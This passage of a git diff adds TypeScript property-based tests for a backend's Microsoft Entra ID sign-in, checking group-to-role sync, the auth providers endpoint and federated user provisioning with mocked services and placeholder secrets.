groupId → roleName */ + groupMapping: Record; + /** The groups claim from the ID token (UUIDs in mixed case) */ + groupsClaim: string[]; + /** Roles currently assigned to the user */ + existingUserRoles: Role[]; + /** Expected final role set (role IDs) after sync */ + expectedFinalRoleIds: Set; +} + +const syncScenarioArb: fc.Arbitrary = fc.tuple( + // Generate 2–8 available roles + fc.integer({ min: 2, max: 8 }), + // Generate 1–6 mapping entries + fc.integer({ min: 1, max: 6 }), + // Seed for randomizing which mapping entries have valid roles + fc.infiniteStream(fc.boolean()), + // Seed for randomizing which groups appear in claim + fc.infiniteStream(fc.boolean()), + // Seed for randomizing which mapped roles user currently has + fc.infiniteStream(fc.boolean()), + // Seed for randomizing which non-mapped roles user currently has + fc.infiniteStream(fc.boolean()), + // UUIDs for group IDs + fc.array(uuidArb, { minLength: 8, maxLength: 14 }), + // Role names + fc.array(roleNameArb, { minLength: 10, maxLength: 14 }), + // Booleans for case randomization + fc.infiniteStream(fc.boolean()), +).map(([ + numRoles, + numMappings, + validRoleStream, + groupInClaimStream, + userHasMappedRoleStream, + userHasManualRoleStream, + uuids, + roleNames, + caseStream, +]) => { + // Deduplicate role names + const uniqueRoleNames = [...new Set(roleNames)].slice(0, numRoles); + if (uniqueRoleNames.length < 2) { + uniqueRoleNames.push('fallback_role_a', 'fallback_role_b'); + } + + // Create available roles + const availableRoles: Role[] = uniqueRoleNames.map((name, i) => + makeRole(`role-id-${String(i)}`, name), + ); + + // Create group mapping + const groupMapping: Record = {}; + const mappingGroupIds: string[] = []; + const validRoleIterator = validRoleStream[Symbol.iterator](); + const actualNumMappings = Math.min(numMappings, uuids.length); + + for (let i = 0; i < actualNumMappings; i++) { + const groupId = uuids[i]; + const useValidRole = validRoleIterator.next().value; + if (useValidRole && availableRoles.length > 0) { + // Map to an existing role + const roleIdx = i % availableRoles.length; + groupMapping[groupId] = availableRoles[roleIdx].name; + } else { + // Map to a non-existent role (should be skipped with warning) + groupMapping[groupId] = `nonexistent_role_${String(i)}`; + } + mappingGroupIds.push(groupId); + } + + // Create groups claim — include some mapping group IDs (with random case) and some extra + const groupsClaim: string[] = []; + const groupInClaimIterator = groupInClaimStream[Symbol.iterator](); + const caseIterator = caseStream[Symbol.iterator](); + + for (const gid of mappingGroupIds) { + const includeInClaim = groupInClaimIterator.next().value; + if (includeInClaim) { + // Apply random case to the group ID + const casedGid = gid.split('').map((ch) => { + const upper = caseIterator.next().value; + return upper ? ch.toUpperCase() : ch.toLowerCase(); + }).join(''); + groupsClaim.push(casedGid); + } + } + // Add some extra UUIDs not in the mapping + for (let i = actualNumMappings; i < uuids.length && i < actualNumMappings + 3; i++) { + groupsClaim.push(uuids[i]); + } + + // Determine which role IDs are managed by the mapping (only valid ones) + const rolesByNameLower = new Map(availableRoles.map((r) => [r.name.toLowerCase(), r])); + const managedRoleIds = new Set(); + const shouldHaveRoleIds = new Set(); + const normalizedClaim = new Set(groupsClaim.map((g) => g.toLowerCase())); + + for (const [groupId, roleName] of Object.entries(groupMapping)) { + const role = rolesByNameLower.get(roleName.toLowerCase()); + if (!role) continue; // Non-existent role, skipped + managedRoleIds.add(role.id); + if (normalizedClaim.has(groupId.toLowerCase())) { + shouldHaveRoleIds.add(role.id); + } + } + + // Create existing user roles — mix of mapped and manual + const existingUserRoles: Role[] = []; + const userHasMappedIterator = userHasMappedRoleStream[Symbol.iterator](); + const userHasManualIterator = userHasManualRoleStream[Symbol.iterator](); + + // Add some mapped roles (simulates previously synced roles) + for (const roleId of managedRoleIds) { + if (userHasMappedIterator.next().value) { + const role = availableRoles.find((r) => r.id === roleId); + if (role) existingUserRoles.push(role); + } + } + + // Add some manual roles (not in the mapping) + for (const role of availableRoles) { + if (!managedRoleIds.has(role.id) && userHasManualIterator.next().value) { + existingUserRoles.push(role); + } + } + + // Compute expected final role set: + // = (manual roles not managed by mapping) ∪ (mapped roles the user should have) + const manualRoleIds = new Set( + existingUserRoles + .filter((r) => !managedRoleIds.has(r.id)) + .map((r) => r.id), + ); + + const expectedFinalRoleIds = new Set([...manualRoleIds, ...shouldHaveRoleIds]); + + return { + availableRoles, + groupMapping, + groupsClaim, + existingUserRoles, + expectedFinalRoleIds, + }; +}); + +describe('EntraIdService — Group-to-Role Sync Property', () => { + let db: DatabaseAdapter; + let logger: LoggerService; + + beforeEach(() => { + vi.restoreAllMocks(); + db = createMockDb(); + logger = createMockLogger(); + }); + + // Feature: azure-entra-id-auth, Property 15: Group-to-role synchronization correctness + /** + * Property 15: Group-to-role synchronization correctness + * + * **Validates: Requirements 5.1, 5.2, 5.3** + * + * For any group mapping configuration and any groups claim array (with UUIDs + * in any case), the user SHALL end up with exactly the Pabawi roles whose + * group IDs are present in both the mapping keys (case-insensitive comparison) + * and the groups claim, plus any roles that were not part of the mapping + * (manually assigned). Roles previously assigned by the mapping whose group + * IDs are no longer in the claim SHALL be revoked. + */ + describe('Property 15: Group-to-role synchronization correctness', () => { + it('after sync, user roles = (manual roles not in mapping) ∪ (mapped roles for matching groups)', async () => { + await fc.assert( + fc.asyncProperty( + syncScenarioArb, + async (scenario) => { + const { availableRoles, groupMapping, groupsClaim, existingUserRoles, expectedFinalRoleIds } = scenario; + + // Track role mutations + const assignedRoleIds = new Set(); + const removedRoleIds = new Set(); + + const mockUserService = { + getUserRoles: vi.fn().mockResolvedValue(existingUserRoles), + assignRoleToUser: vi.fn().mockImplementation((_userId: string, roleId: string) => { + assignedRoleIds.add(roleId); + return Promise.resolve(); + }), + removeRoleFromUser: vi.fn().mockImplementation((_userId: string, roleId: string) => { + removedRoleIds.add(roleId); + return Promise.resolve(); + }), + } as unknown as UserService; + + const mockRoleService = { + listRoles: vi.fn().mockResolvedValue({ + items: availableRoles, + total: availableRoles.length, + }), + } as unknown as RoleService; + + const config: EntraIdConfig = { + enabled: true, + tenantId: 'test-tenant', + clientId: 'test-client', + clientSecret: 'test-secret', // pragma: allowlist secret + redirectUri: 'http://localhost:3000/callback', + scopes: ['openid', 'profile', 'email'], + groupMapping, + jwksCacheTtlMs: 86400000, + }; + + const service = new EntraIdService( + db, + config, + {} as AuthenticationService, + mockUserService, + mockRoleService, + {} as AuditLoggingService, + logger, + ); + + const userId = 'test-user-id'; + await service.syncGroupRoles(userId, groupsClaim); + + // Compute actual final role set by applying mutations to existing roles + const existingRoleIds = new Set(existingUserRoles.map((r) => r.id)); + const finalRoleIds = new Set(); + + // Start with existing roles + for (const id of existingRoleIds) { + if (!removedRoleIds.has(id)) { + finalRoleIds.add(id); + } + } + // Add newly assigned roles + for (const id of assignedRoleIds) { + finalRoleIds.add(id); + } + + // Assert final role set matches expected + expect(finalRoleIds).toEqual(expectedFinalRoleIds); + }, + ), + { numRuns: 100 }, + ); + }); + + it('does not assign roles the user already has', async () => { + await fc.assert( + fc.asyncProperty( + syncScenarioArb, + async (scenario) => { + const { availableRoles, groupMapping, groupsClaim, existingUserRoles } = scenario; + + const assignCalls: Array<{ userId: string; roleId: string }> = []; + + const mockUserService = { + getUserRoles: vi.fn().mockResolvedValue(existingUserRoles), + assignRoleToUser: vi.fn().mockImplementation((userId: string, roleId: string) => { + assignCalls.push({ userId, roleId }); + return Promise.resolve(); + }), + removeRoleFromUser: vi.fn().mockResolvedValue(undefined), + } as unknown as UserService; + + const mockRoleService = { + listRoles: vi.fn().mockResolvedValue({ + items: availableRoles, + total: availableRoles.length, + }), + } as unknown as RoleService; + + const config: EntraIdConfig = { + enabled: true, + tenantId: 'test-tenant', + clientId: 'test-client', + clientSecret: 'test-secret', // pragma: allowlist secret + redirectUri: 'http://localhost:3000/callback', + scopes: ['openid', 'profile', 'email'], + groupMapping, + jwksCacheTtlMs: 86400000, + }; + + const service = new EntraIdService( + db, + config, + {} as AuthenticationService, + mockUserService, + mockRoleService, + {} as AuditLoggingService, + logger, + ); + + await service.syncGroupRoles('test-user-id', groupsClaim); + + // No assign call should be for a role the user already has + const existingRoleIds = new Set(existingUserRoles.map((r) => r.id)); + for (const call of assignCalls) { + expect(existingRoleIds.has(call.roleId)).toBe(false); + } + }, + ), + { numRuns: 100 }, + ); + }); + + it('does not remove roles that are not managed by the mapping', async () => { + await fc.assert( + fc.asyncProperty( + syncScenarioArb, + async (scenario) => { + const { availableRoles, groupMapping, groupsClaim, existingUserRoles } = scenario; + + const removeCalls: Array<{ userId: string; roleId: string }> = []; + + const mockUserService = { + getUserRoles: vi.fn().mockResolvedValue(existingUserRoles), + assignRoleToUser: vi.fn().mockResolvedValue(undefined), + removeRoleFromUser: vi.fn().mockImplementation((userId: string, roleId: string) => { + removeCalls.push({ userId, roleId }); + return Promise.resolve(); + }), + } as unknown as UserService; + + const mockRoleService = { + listRoles: vi.fn().mockResolvedValue({ + items: availableRoles, + total: availableRoles.length, + }), + } as unknown as RoleService; + + const config: EntraIdConfig = { + enabled: true, + tenantId: 'test-tenant', + clientId: 'test-client', + clientSecret: 'test-secret', // pragma: allowlist secret + redirectUri: 'http://localhost:3000/callback', + scopes: ['openid', 'profile', 'email'], + groupMapping, + jwksCacheTtlMs: 86400000, + }; + + const service = new EntraIdService( + db, + config, + {} as AuthenticationService, + mockUserService, + mockRoleService, + {} as AuditLoggingService, + logger, + ); + + await service.syncGroupRoles('test-user-id', groupsClaim); + + // Determine which role IDs are managed by the mapping + const rolesByNameLower = new Map(availableRoles.map((r) => [r.name.toLowerCase(), r])); + const managedRoleIds = new Set(); + for (const roleName of Object.values(groupMapping)) { + const role = rolesByNameLower.get(roleName.toLowerCase()); + if (role) managedRoleIds.add(role.id); + } + + // Every removed role must be a managed role + for (const call of removeCalls) { + expect(managedRoleIds.has(call.roleId)).toBe(true); + } + }, + ), + { numRuns: 100 }, + ); + }); + }); +}); diff --git a/backend/test/properties/EntraIdProviders.property.test.ts b/backend/test/properties/EntraIdProviders.property.test.ts new file mode 100644 index 00000000..dea7b64e --- /dev/null +++ b/backend/test/properties/EntraIdProviders.property.test.ts @@ -0,0 +1,238 @@ +/** + * Property-Based Tests for Providers Endpoint — Property 17 + * + * **Validates: Requirements 11.2** + * + * Tests the correctness property from the design document: + * - Property 17: Providers endpoint always includes local authentication + * + * For any application configuration state (Entra ID enabled or disabled, any + * combination of integrations), the `GET /api/auth/providers` response SHALL + * always contain `{ "local": true }`. + */ + +// Feature: azure-entra-id-auth, Property 17: Providers endpoint always includes local authentication + +import { describe, it, expect, beforeEach, afterEach, vi, beforeAll, afterAll } from 'vitest'; +import * as fc from 'fast-check'; +import express from 'express'; +import request from 'supertest'; +import { createHttpHarness, type HttpHarness } from '../helpers/httpHarness'; + +import { createAuthRouter } from '../../src/routes/auth.ts'; +import { SQLiteAdapter } from '../../src/database/SQLiteAdapter'; +import { DatabaseService } from '../../src/database/DatabaseService'; +import type { DatabaseAdapter } from '../../src/database/DatabaseAdapter'; +import { DIContainer } from '../../src/container/DIContainer'; +import { LoggerService } from '../../src/services/LoggerService'; +import { ExpertModeService } from '../../src/services/ExpertModeService'; +import { ConfigService } from '../../src/config/ConfigService'; +import { initializeTestSchema } from '../helpers/schema'; + +/** + * Arbitrary that generates a configuration state for the test. + * - entraIdEnabled: whether an EntraIdService mock is registered + * - extraServices: random additional service keys registered on the container (noise) + */ +interface ConfigState { + entraIdEnabled: boolean; + extraServiceKeys: string[]; + providerName: string; +} + +const configStateArb: fc.Arbitrary = fc.record({ + entraIdEnabled: fc.boolean(), + extraServiceKeys: fc.array( + fc.stringMatching(/^[a-z][a-zA-Z0-9]{2,20}$/), + { minLength: 0, maxLength: 5 }, + ), + providerName: fc.constantFrom( + 'Microsoft Entra ID', + 'Azure AD', + 'Custom SSO Provider', + ), +}); + +// One loopback-bound HTTP server for the whole file. See +// test/helpers/httpHarness.ts: supertest's default request(app) opens a +// fresh wildcard-bound socket per request, which on macOS can be shadowed +// by an unrelated process holding the same port on 127.0.0.1. +let harness: HttpHarness; + +beforeAll(async () => { + harness = await createHttpHarness(); +}); + +afterAll(async () => { + await harness.close(); +}); + +describe('Providers Endpoint — Property 17: Providers endpoint always includes local authentication', () => { + let db: DatabaseAdapter; + let databaseService: DatabaseService; + + beforeEach(async () => { + vi.restoreAllMocks(); + + // Minimal env for ConfigService + process.env.JWT_SECRET = 'test-jwt-secret-for-property-tests-minimum-32chars!!'; // pragma: allowlist secret + process.env.HOST = 'localhost'; + process.env.PORT = '3000'; + + db = new SQLiteAdapter(':memory:'); + await db.initialize(); + await initializeTestSchema(db); + + databaseService = { + getAdapter: () => db, + } as unknown as DatabaseService; + }); + + afterEach(async () => { + await db.close(); + delete process.env.JWT_SECRET; + delete process.env.HOST; + delete process.env.PORT; + }); + + /** + * Build a container with the given configuration state. + * Optionally registers a mock EntraIdService on the "entraId" key. + */ + function buildContainer(state: ConfigState): DIContainer { + const container = new DIContainer(); + container.register('logger', new LoggerService()); + container.register('expertMode', new ExpertModeService()); + container.register('config', new ConfigService()); + + // Access internal service map to register additional keys (simulates other integrations) + const services = (container as unknown as { services: Map }).services; + + // Register noise services (random integrations that should not affect providers) + for (const key of state.extraServiceKeys) { + services.set(key, { name: key }); + } + + // Conditionally register EntraIdService mock + if (state.entraIdEnabled) { + services.set('entraId', { + getProviderInfo: () => ({ enabled: true as const, name: state.providerName }), + }); + } + + return container; + } + + /** + * Build an Express app with the auth router mounted at /api/auth. + */ + function buildApp(container: DIContainer): express.Application { + const app = express(); + app.use(express.json()); + const router = createAuthRouter(databaseService, container); + app.use('/api/auth', router); + return app; + } + + /** + * Property: For ANY configuration state, `GET /api/auth/providers` + * response always contains `{ local: true }`. + */ + it('response always contains local: true regardless of configuration', async () => { + await fc.assert( + fc.asyncProperty( + configStateArb, + async (state) => { + const container = buildContainer(state); + const app = buildApp(container); + + const res = await request(harness.use(app)) + .get('/api/auth/providers') + .expect(200); + + // Core invariant: local is always true + expect(res.body.local).toBe(true); + }, + ), + { numRuns: 100 }, + ); + }); + + /** + * Property: When Entra ID service is present, response also contains entraId info. + */ + it('includes entraId provider info when EntraIdService is registered', async () => { + await fc.assert( + fc.asyncProperty( + configStateArb.filter((s) => s.entraIdEnabled), + async (state) => { + const container = buildContainer(state); + const app = buildApp(container); + + const res = await request(harness.use(app)) + .get('/api/auth/providers') + .expect(200); + + // local is still present + expect(res.body.local).toBe(true); + + // entraId info is present + expect(res.body.entraId).toBeDefined(); + expect(res.body.entraId.enabled).toBe(true); + expect(res.body.entraId.name).toBe(state.providerName); + }, + ), + { numRuns: 100 }, + ); + }); + + /** + * Property: When Entra ID service is absent, response does NOT contain entraId key. + */ + it('omits entraId key when EntraIdService is not registered', async () => { + await fc.assert( + fc.asyncProperty( + configStateArb.filter((s) => !s.entraIdEnabled), + async (state) => { + const container = buildContainer(state); + const app = buildApp(container); + + const res = await request(harness.use(app)) + .get('/api/auth/providers'); + + expect(res.status).toBe(200); + + // local is always present + expect(res.body.local).toBe(true); + + // entraId key should be absent + expect(res.body.entraId).toBeUndefined(); + }, + ), + { numRuns: 100 }, + ); + }); + + /** + * Property: Endpoint is accessible without authentication (no auth header needed). + */ + it('endpoint responds 200 without any auth header for any config state', async () => { + await fc.assert( + fc.asyncProperty( + configStateArb, + async (state) => { + const container = buildContainer(state); + const app = buildApp(container); + + // No Authorization header at all — endpoint must not require auth + const res = await request(harness.use(app)) + .get('/api/auth/providers'); + + expect(res.status).toBe(200); + expect(res.body.local).toBe(true); + }, + ), + { numRuns: 100 }, + ); + }); +}); diff --git a/backend/test/properties/EntraIdProvisioning.property.test.ts b/backend/test/properties/EntraIdProvisioning.property.test.ts new file mode 100644 index 00000000..86b0c855 --- /dev/null +++ b/backend/test/properties/EntraIdProvisioning.property.test.ts @@ -0,0 +1,519 @@ +/** + * Property-Based Tests for EntraIdService — User Provisioning (Properties 12–14) + * + * **Validates: Requirements 4.1, 4.2, 4.3, 4.5, 4.7** + * + * Tests the three correctness properties from the design document: + * - Property 12: New federated user provisioning invariant + * - Property 13: Existing federated user profile immutability + * - Property 14: Username derivation from invalid preferred_username + */ + +import { describe, it, expect, beforeEach, vi } from 'vitest'; +import * as fc from 'fast-check'; + +import { + EntraIdService, + type IdTokenClaims, +} from '../../src/services/EntraIdService'; +import type { DatabaseAdapter } from '../../src/database/DatabaseAdapter'; +import type { EntraIdConfig } from '../../src/config/schema'; +import type { AuthenticationService } from '../../src/services/AuthenticationService'; +import type { UserService, User } from '../../src/services/UserService'; +import type { RoleService } from '../../src/services/RoleService'; +import type { AuditLoggingService } from '../../src/services/AuditLoggingService'; +import type { LoggerService } from '../../src/services/LoggerService'; + +// --- Mock Factories --- + +function createMockDb(): DatabaseAdapter { + return { + query: vi.fn().mockResolvedValue([]), + queryOne: vi.fn().mockResolvedValue(null), + execute: vi.fn().mockResolvedValue({ changes: 0 }), + beginTransaction: vi.fn().mockResolvedValue(undefined), + commit: vi.fn().mockResolvedValue(undefined), + rollback: vi.fn().mockResolvedValue(undefined), + withTransaction: vi.fn(), + initialize: vi.fn().mockResolvedValue(undefined), + close: vi.fn().mockResolvedValue(undefined), + isConnected: vi.fn().mockReturnValue(true), + getDialect: vi.fn().mockReturnValue('sqlite' as const), + }; +} + +function createMockConfig(): EntraIdConfig { + return { + enabled: true, + tenantId: 'test-tenant-id-000', + clientId: 'test-client-id-111', + clientSecret: 'test-client-secret-222', // pragma: allowlist secret + redirectUri: 'http://localhost:3000/api/auth/entra-id/callback', + scopes: ['openid', 'profile', 'email'], + groupMapping: null, + jwksCacheTtlMs: 86400000, + }; +} + +function createMockLogger(): LoggerService { + return { + info: vi.fn(), + warn: vi.fn(), + error: vi.fn(), + debug: vi.fn(), + shouldLog: vi.fn().mockReturnValue(true), + formatMessage: vi.fn().mockReturnValue(''), + getLevel: vi.fn().mockReturnValue('info'), + setLogBuffer: vi.fn(), + getLogBuffer: vi.fn().mockReturnValue(null), + } as unknown as LoggerService; +} + +function createMockUser(overrides: Partial = {}): User { + const now = new Date().toISOString(); + return { + id: 'user-id-001', + username: 'testuser', + email: 'user@example.com', + passwordHash: '', + firstName: 'Test', + lastName: 'User', + isActive: 1, + isAdmin: 0, + createdAt: now, + updatedAt: now, + lastLoginAt: null, + ...overrides, + }; +} + +// --- Arbitraries --- + +/** Generates a valid Entra ID subject identifier (opaque string) */ +const subArb = fc.stringMatching(/^[a-zA-Z0-9_-]{10,40}$/); + +/** Generates a valid email address */ +const emailArb = fc.tuple( + fc.stringMatching(/^[a-z][a-z0-9._]{2,15}$/), + fc.stringMatching(/^[a-z]{3,10}\.[a-z]{2,4}$/), +).map(([local, domain]) => `${local}@${domain}`); + +/** Generates a valid preferred_username (matches ^[a-zA-Z0-9_]{3,50}$) */ +const validUsernameArb = fc.stringMatching(/^[a-zA-Z][a-zA-Z0-9_]{2,49}$/); + +/** Generates first/last names */ +const nameArb = fc.stringMatching(/^[A-Z][a-z]{1,19}$/); + +/** Generates a complete valid IdTokenClaims set */ +const validClaimsArb = fc.record({ + sub: subArb, + email: emailArb, + preferred_username: validUsernameArb, + given_name: nameArb, + family_name: nameArb, + nonce: fc.stringMatching(/^[a-f0-9]{32,64}$/), + aud: fc.constant('test-client-id-111'), + iss: fc.constant('https://login.microsoftonline.com/test-tenant-id-000/v2.0'), + exp: fc.constant(Math.floor(Date.now() / 1000) + 3600), +}) as fc.Arbitrary; + +/** + * Generates a preferred_username that does NOT match ^[a-zA-Z0-9_]{3,50}$ + * (contains special chars, spaces, dots, hyphens, or is too short/long) + */ +const invalidUsernameArb = fc.oneof( + // Contains disallowed characters (dots, hyphens, spaces, @) + fc.stringMatching(/^[a-z]{3,10}[.\-@ ][a-z]{3,10}$/), + // Too short (1-2 chars) + fc.stringMatching(/^[a-z]{1,2}$/), + // Contains special characters + fc.stringMatching(/^[a-z]{3,8}[!#$%]{1,3}[a-z]{3,8}$/), +); + +describe('EntraIdService — User Provisioning Properties', () => { + let db: DatabaseAdapter; + let config: EntraIdConfig; + let logger: LoggerService; + let mockUserService: UserService; + let mockRoleService: RoleService; + let service: EntraIdService; + + beforeEach(() => { + vi.restoreAllMocks(); + db = createMockDb(); + config = createMockConfig(); + logger = createMockLogger(); + + mockUserService = { + findByFederatedIdentity: vi.fn().mockResolvedValue(null), + findByEmail: vi.fn().mockResolvedValue(null), + createFederatedUser: vi.fn().mockImplementation(async (claims: IdTokenClaims) => { + return createMockUser({ + id: `new-user-${claims.sub}`, + username: claims.preferred_username || claims.email.split('@')[0], + email: claims.email, + passwordHash: '', + firstName: claims.given_name, + lastName: claims.family_name, + isActive: 1, + }); + }), + linkFederatedIdentity: vi.fn().mockResolvedValue({ + id: 'fed-id-001', + userId: 'user-id-001', + provider: 'entra-id', + subject: 'test-sub', + issuer: 'test-issuer', + email: 'user@example.com', + idToken: null, + createdAt: new Date().toISOString(), + updatedAt: new Date().toISOString(), + }), + getUserRoles: vi.fn().mockResolvedValue([]), + assignRoleToUser: vi.fn().mockResolvedValue(undefined), + removeRoleFromUser: vi.fn().mockResolvedValue(undefined), + } as unknown as UserService; + + mockRoleService = { + listRoles: vi.fn().mockResolvedValue({ items: [] }), + } as unknown as RoleService; + + service = new EntraIdService( + db, + config, + {} as AuthenticationService, + mockUserService, + mockRoleService, + {} as AuditLoggingService, + logger, + ); + }); + + // Feature: azure-entra-id-auth, Property 12: New federated user provisioning invariant + /** + * Property 12: New federated user provisioning invariant + * + * **Validates: Requirements 4.1, 4.2, 4.5** + * + * For any valid ID token claims (sub, email, preferred_username/derived username, + * given_name, family_name) where no federated identity exists with that sub: + * the service SHALL create a user with is_active=1, null password_hash, + * a federated_identities record with provider='entra-id' and subject=sub, + * and SHALL assign the default viewer role. + */ + describe('Property 12: New federated user provisioning invariant', () => { + it('creates a new user via createFederatedUser when no federated identity exists', async () => { + await fc.assert( + fc.asyncProperty( + validClaimsArb, + async (claims) => { + // Reset mocks for each iteration + vi.mocked(mockUserService.findByFederatedIdentity).mockResolvedValue(null); + vi.mocked(mockUserService.findByEmail).mockResolvedValue(null); + vi.mocked(mockUserService.createFederatedUser).mockResolvedValue( + createMockUser({ + id: `new-user-${claims.sub}`, + username: claims.preferred_username, + email: claims.email, + passwordHash: '', + firstName: claims.given_name, + lastName: claims.family_name, + isActive: 1, + }), + ); + + const result = await service.provisionUser(claims); + + // Service looked up federated identity first + expect(mockUserService.findByFederatedIdentity).toHaveBeenCalledWith( + 'entra-id', + claims.sub, + ); + + // No existing identity → called createFederatedUser with the claims + expect(mockUserService.createFederatedUser).toHaveBeenCalledWith(claims); + + // Returned user has is_active=1 and empty passwordHash + expect(result.isActive).toBe(1); + expect(result.passwordHash).toBe(''); + + // linkFederatedIdentity should NOT be called (createFederatedUser does it internally) + expect(mockUserService.linkFederatedIdentity).not.toHaveBeenCalled(); + }, + ), + { numRuns: 100 }, + ); + }); + + it('the created user has correct profile fields from claims', async () => { + await fc.assert( + fc.asyncProperty( + validClaimsArb, + async (claims) => { + vi.mocked(mockUserService.findByFederatedIdentity).mockResolvedValue(null); + vi.mocked(mockUserService.findByEmail).mockResolvedValue(null); + + const createdUser = createMockUser({ + id: `new-user-${claims.sub}`, + username: claims.preferred_username, + email: claims.email, + passwordHash: '', + firstName: claims.given_name, + lastName: claims.family_name, + isActive: 1, + isAdmin: 0, + }); + vi.mocked(mockUserService.createFederatedUser).mockResolvedValue(createdUser); + + const result = await service.provisionUser(claims); + + expect(result.email).toBe(claims.email); + expect(result.firstName).toBe(claims.given_name); + expect(result.lastName).toBe(claims.family_name); + expect(result.isAdmin).toBe(0); + }, + ), + { numRuns: 100 }, + ); + }); + }); + + // Feature: azure-entra-id-auth, Property 13: Existing federated user profile immutability + /** + * Property 13: Existing federated user profile immutability + * + * **Validates: Requirements 4.3** + * + * For any returning user (federated identity already linked), calling the + * provisioning flow with different claim values (name, email) SHALL NOT + * modify the existing user record's first_name, last_name, or email fields. + */ + describe('Property 13: Existing federated user profile immutability', () => { + it('returns existing user unchanged when federated identity is already linked', async () => { + await fc.assert( + fc.asyncProperty( + validClaimsArb, + nameArb, + nameArb, + emailArb, + async (claims, differentFirst, differentLast, differentEmail) => { + // The existing user has different profile data than the incoming claims + const existingUser = createMockUser({ + id: 'existing-user-id', + username: 'existing_username', + email: differentEmail, + firstName: differentFirst, + lastName: differentLast, + passwordHash: 'hashed-password-value', + isActive: 1, + }); + + vi.mocked(mockUserService.findByFederatedIdentity).mockResolvedValue(existingUser); + + const result = await service.provisionUser(claims); + + // The returned user is the existing user, not modified + expect(result.id).toBe('existing-user-id'); + expect(result.email).toBe(differentEmail); + expect(result.firstName).toBe(differentFirst); + expect(result.lastName).toBe(differentLast); + + // createFederatedUser and linkFederatedIdentity must NOT be called + expect(mockUserService.createFederatedUser).not.toHaveBeenCalled(); + expect(mockUserService.linkFederatedIdentity).not.toHaveBeenCalled(); + }, + ), + { numRuns: 100 }, + ); + }); + + it('does not update the existing user password hash', async () => { + await fc.assert( + fc.asyncProperty( + validClaimsArb, + async (claims) => { + const existingUser = createMockUser({ + id: 'existing-user-id', + passwordHash: 'original-bcrypt-hash-value', + isActive: 1, + }); + + vi.mocked(mockUserService.findByFederatedIdentity).mockResolvedValue(existingUser); + + const result = await service.provisionUser(claims); + + // Password hash remains unchanged + expect(result.passwordHash).toBe('original-bcrypt-hash-value'); + }, + ), + { numRuns: 100 }, + ); + }); + }); + + // Feature: azure-entra-id-auth, Property 14: Username derivation from invalid preferred_username + /** + * Property 14: Username derivation from invalid preferred_username + * + * **Validates: Requirements 4.7** + * + * For any preferred_username that does not match ^[a-zA-Z0-9_]{3,50}$, + * the service SHALL derive the username from the email local-part by + * replacing all characters not in [a-zA-Z0-9_] with underscores and + * truncating to 50 characters. + */ + describe('Property 14: Username derivation from invalid preferred_username', () => { + it('derives username from email local-part when preferred_username is invalid', async () => { + await fc.assert( + fc.asyncProperty( + invalidUsernameArb, + emailArb, + nameArb, + nameArb, + subArb, + async (invalidUsername, email, firstName, lastName, sub) => { + const claims: IdTokenClaims = { + sub, + email, + preferred_username: invalidUsername, + given_name: firstName, + family_name: lastName, + nonce: 'test-nonce-value', + aud: config.clientId, + iss: `https://login.microsoftonline.com/${config.tenantId}/v2.0`, + exp: Math.floor(Date.now() / 1000) + 3600, + }; + + vi.mocked(mockUserService.findByFederatedIdentity).mockResolvedValue(null); + vi.mocked(mockUserService.findByEmail).mockResolvedValue(null); + + // Capture what createFederatedUser receives to verify username derivation + let receivedClaims: IdTokenClaims | null = null; + vi.mocked(mockUserService.createFederatedUser).mockImplementation( + async (c: IdTokenClaims) => { + receivedClaims = c; + return createMockUser({ + id: `new-user-${c.sub}`, + email: c.email, + // UserService.createFederatedUser internally derives the username + username: c.email.split('@')[0].replace(/[^a-zA-Z0-9_]/g, '_').slice(0, 50), + passwordHash: '', + isActive: 1, + }); + }, + ); + + const result = await service.provisionUser(claims); + + // createFederatedUser was called with original claims + // (UserService.deriveUsername handles the derivation internally) + expect(receivedClaims).not.toBeNull(); + expect(receivedClaims!.preferred_username).toBe(invalidUsername); + expect(receivedClaims!.email).toBe(email); + + // The returned username must be derived from email local-part: + // replace non-[a-zA-Z0-9_] with underscores, truncate to 50 + const expectedUsername = email.split('@')[0] + .replace(/[^a-zA-Z0-9_]/g, '_') + .slice(0, 50); + expect(result.username).toBe(expectedUsername); + }, + ), + { numRuns: 100 }, + ); + }); + + it('derived username is at most 50 characters', async () => { + // Generate emails with long local parts + const longLocalPartEmail = fc.tuple( + fc.stringMatching(/^[a-z][a-z0-9.]{50,80}$/), + fc.constant('example.com'), + ).map(([local, domain]) => `${local}@${domain}`); + + await fc.assert( + fc.asyncProperty( + longLocalPartEmail, + subArb, + async (email, sub) => { + const claims: IdTokenClaims = { + sub, + email, + preferred_username: 'ab', // Too short → invalid + given_name: 'Test', + family_name: 'User', + nonce: 'test-nonce', + aud: config.clientId, + iss: `https://login.microsoftonline.com/${config.tenantId}/v2.0`, + exp: Math.floor(Date.now() / 1000) + 3600, + }; + + vi.mocked(mockUserService.findByFederatedIdentity).mockResolvedValue(null); + vi.mocked(mockUserService.findByEmail).mockResolvedValue(null); + vi.mocked(mockUserService.createFederatedUser).mockImplementation( + async (c: IdTokenClaims) => { + const username = c.email.split('@')[0] + .replace(/[^a-zA-Z0-9_]/g, '_') + .slice(0, 50); + return createMockUser({ + id: `new-user-${c.sub}`, + email: c.email, + username, + passwordHash: '', + isActive: 1, + }); + }, + ); + + const result = await service.provisionUser(claims); + expect(result.username.length).toBeLessThanOrEqual(50); + }, + ), + { numRuns: 100 }, + ); + }); + + it('derived username only contains [a-zA-Z0-9_]', async () => { + await fc.assert( + fc.asyncProperty( + invalidUsernameArb, + emailArb, + subArb, + async (invalidUsername, email, sub) => { + const claims: IdTokenClaims = { + sub, + email, + preferred_username: invalidUsername, + given_name: 'Test', + family_name: 'User', + nonce: 'test-nonce', + aud: config.clientId, + iss: `https://login.microsoftonline.com/${config.tenantId}/v2.0`, + exp: Math.floor(Date.now() / 1000) + 3600, + }; + + vi.mocked(mockUserService.findByFederatedIdentity).mockResolvedValue(null); + vi.mocked(mockUserService.findByEmail).mockResolvedValue(null); + vi.mocked(mockUserService.createFederatedUser).mockImplementation( + async (c: IdTokenClaims) => { + const username = c.email.split('@')[0] + .replace(/[^a-zA-Z0-9_]/g, '_') + .slice(0, 50); + return createMockUser({ + id: `new-user-${c.sub}`, + email: c.email, + username, + passwordHash: '', + isActive: 1, + }); + }, + ); + + const result = await service.provisionUser(claims); + expect(result.username).toMatch(/^[a-zA-Z0-9_]+$/); + }, + ), + { numRuns: 100 }, + ); + }); + }); +}); diff --git a/backend/test/properties/consoleAuditLog.property.test.ts b/backend/test/properties/consoleAuditLog.property.test.ts new file mode 100644 index 00000000..51eba702 --- /dev/null +++ b/backend/test/properties/consoleAuditLog.property.test.ts @@ -0,0 +1,229 @@ +/** + * Property-Based Tests 